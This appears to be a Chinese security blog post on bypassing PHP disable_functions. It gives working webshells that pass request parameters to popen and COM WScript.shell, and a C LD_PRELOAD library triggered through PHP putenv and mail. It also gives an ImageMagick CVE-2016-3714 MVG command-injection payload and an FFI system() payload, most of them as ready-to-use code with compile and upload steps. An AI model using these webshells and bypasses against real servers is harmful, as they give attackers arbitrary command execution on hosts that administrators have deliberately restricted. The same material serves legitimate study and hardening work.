DisableFunctions绕过


title: PHP disablefunctions绕过 date: tags: php开发与安全


RCE函数黑名单绕过:

1.exec/shell_exec (执行系统命令,无回显)

<?php
echo (exec/shell_exec('whoami'));
?>

2.system/passthru (执行系统命令,有回显)

<?php
   passthru/system('whoami');?>

3.popen (popen ( string $command , string $mode ) ) 作用:创建一个管道,fork一个子进程来执行传入的command命令。并在正常的情况下返回I/O流,管道由pclose手动关闭.

<?php$command=$_POST['cmd'];
$handle = popen($command , "r");
   while(!feof($handle))
   {        echo fread($handle, 1024);  //fread($handle, 1024);
   }  
   pclose($handle);?>

4.proc_open ( proc_open ( string $cmd , array $descriptorspec , array &$pipes ) 可以看作是popen的强化版. 作用:创建一个管道,fork一个子进程来执行传入的command命令,$descriptorspec控制子进程文件描述符符,$pipes是数组,其元素是返回的I/O流(索引0,1,2代表对于文件描述符的I/O流)

$descriptorspec写法
 $descs = array( 
                0 => array( 'pipe' , 'r' ) ,  #输入
                1 => array( 'file' , 'output' , 'w' ) , #输出,可以为管道(pipe)或文件
                2 => array( 'file' , 'errors' , 'w' )   #错误日志,可以为管道(pipe)或文件
            );
<?php
   $command="ipconfig";
   $descriptorspec = array(1 => array("pipe", "w"));  //标准输出定位到管道
   $handle = proc_open($command ,$descriptorspec , $pipes);
   while(!feof($pipes[1]))   //管道索引1代表子进程的标准输出(通过$descriptorspec定义)
   {        echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
   }?>

LD_PRELOAD与putenv 绕过

LD_PRELOAD这个环境变量定义的动态链接库会比其他动态链接库先被调用. putenv(“环境变量名”=”value”) php代码里用于设置环境变量的函数 动态链接库(.so文件): 命令在运行时会进行系统调用,从共享链接库里调用代码.动态链接库是共享链接库的一种,其里面一般都是.so文件

利用php代码里的mail函数达到绕过目的

php里的mail函数调用了 linux里的sendmail指令

execve("/usr/bin/php", ["php", "test.php"], [/* 20 vars */]) = 0
[pid 23864] execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i "], [/* 20 vars */]) = 0
[pid 23865] execve("/usr/sbin/sendmail", ["/usr/sbin/sendmail", "-t", "-i"], [/* 20 vars */]) = 0

发现其调用了sendmail,那么sendmail调用了什么?可以很清楚的看到它调用了很多命令,那么我们思路如下: 创建一个动态链接库,定义一个同名命令(植入payload),并在之后把它放在LD_PRELOAD里优先调用,这样只需执行调用了mail函数的php文件,再又mail函数调用sendmail命令,再由sendmail命令优先调用我们重写的命令,即可绕过disable_functions.

image-20210915162041362

我们这里重写getuid命令:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
        system("ls / > /tmp/sky");   //payload
}
int geteuid() 
{
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

然后将他编译为动态链接库

gcc -c -fPIC hack.c -o hack
gcc --share hack -o hack.so

接下来运行PHP脚本

<?php
putenv("LD_PRELOAD=./hack.so");
mail('','','','');
?>

执行一下,可以发现payload确实被执行了

QQ截图20210219154617

mail函数更广的攻击面: attribute ((constructor))

如果我们的linux里没有sendmail指令了呢?这个时候就要用到 attribute ((constructor)) 了

attribute ((constructor)) :加载共享库时就自动运行,通常在程序启动时运行(有点类似魔术函数?哈哈) c语言代码:

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    system("ls");
}

LD_PRELOAD指定一下该so,执行PHP程序,可见payload确实被实现了

脏东西:使用蚁剑 disable_functions绕过插件

蛮无脑的,把这个插件开了就完事了

ImageMagick漏洞(CVE-2016-3714)

参考 https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html

何为ImageMagick

简而言之,就是一个处理图片的程序。

RCE

ImageMagick有一个功能叫做 delegate(委托),作用是调用外部的lib处理文件。 在ImageMagick的配置文件 /etc/ImageMagick/delegates.xml 可以看到所有的委托(自己去看)

它的委托一般是长这样的,意思是在处理https图片时,会调用command的里的指令.command里的%m代表一种占位符,%m占位符代表获取https图片的url(当然占位符不仅仅%m一种,还有 比如%i是输入的文件名,%l是图片exif label信息 等等等等)

<delegate decode="https" command="&quot;curl&quot; -s -k -o &quot;%o&quot; &quot;https:%M&quot;"/>

ImageMagick默认支持一种图片格式,叫mvg,而mvg与svg格式类似,其中是以文本形式写入矢量图的内容,而这其中就可以包含https处理过程。 所以我们可以构造一个mvg文件(文件名后缀不一定非得.mvg,imagemagick是按照文件内容来区分文件类型的)交给imagemagick处理,在其包含https处使用|或&分割命令,造成rce,如

push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|mkdir /nmsl; ")'
pop graphic-context

上面是mvg的一种格式,其中在fill处填入https的url.

实践

QQ截图20210217152837

QQ截图20210217152846

ffi rce

适用版本:php>7.4 需要: FFI support = enable ,(开启ffi) opcache.preload 启用. (指定将在服务器启动时编译和执行的PHP文件,文件中定义的所有函数和大多数类都将永久加载到 PHP 的函数和类表中,并在将来的任何请求的上下文中永久可用)。 (极大拓宽ffi rce攻击面)

ffi是php>7.4新增的一个东西,简而言之就是一个可以在php里调用c语言代码的接口.

https://www.php.net/manual/en/ffi.examples-basic.php 官方文档

我们的payload雏形一般是这样

$ffi=FFI::cdef{
   "int system(char *format);"
};
$ffi->system(command);

找个机会让服务器调用FFI就可以了,这样就可以绕过disable_functions了值得注意的是system没有回显

利用Windows系统组件COM绕过

需求: windows系统,且system32目录下存在wshom.ocx php.ini里com.allow_dcom=true php.ini里extension=php_com_dotnet.dll(没有的话自己加上)

正确配置后,在phpinfo中看,这样就算配置好了环境

QQ截图20210219155029

ban掉函数

QQ截图20210219155038

.这种情况我们来绕绕disable_functions

<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

找个机会把这个脚本传到服务器上,然后访问它,cmd传命令就可以了

QQ截图20210219155052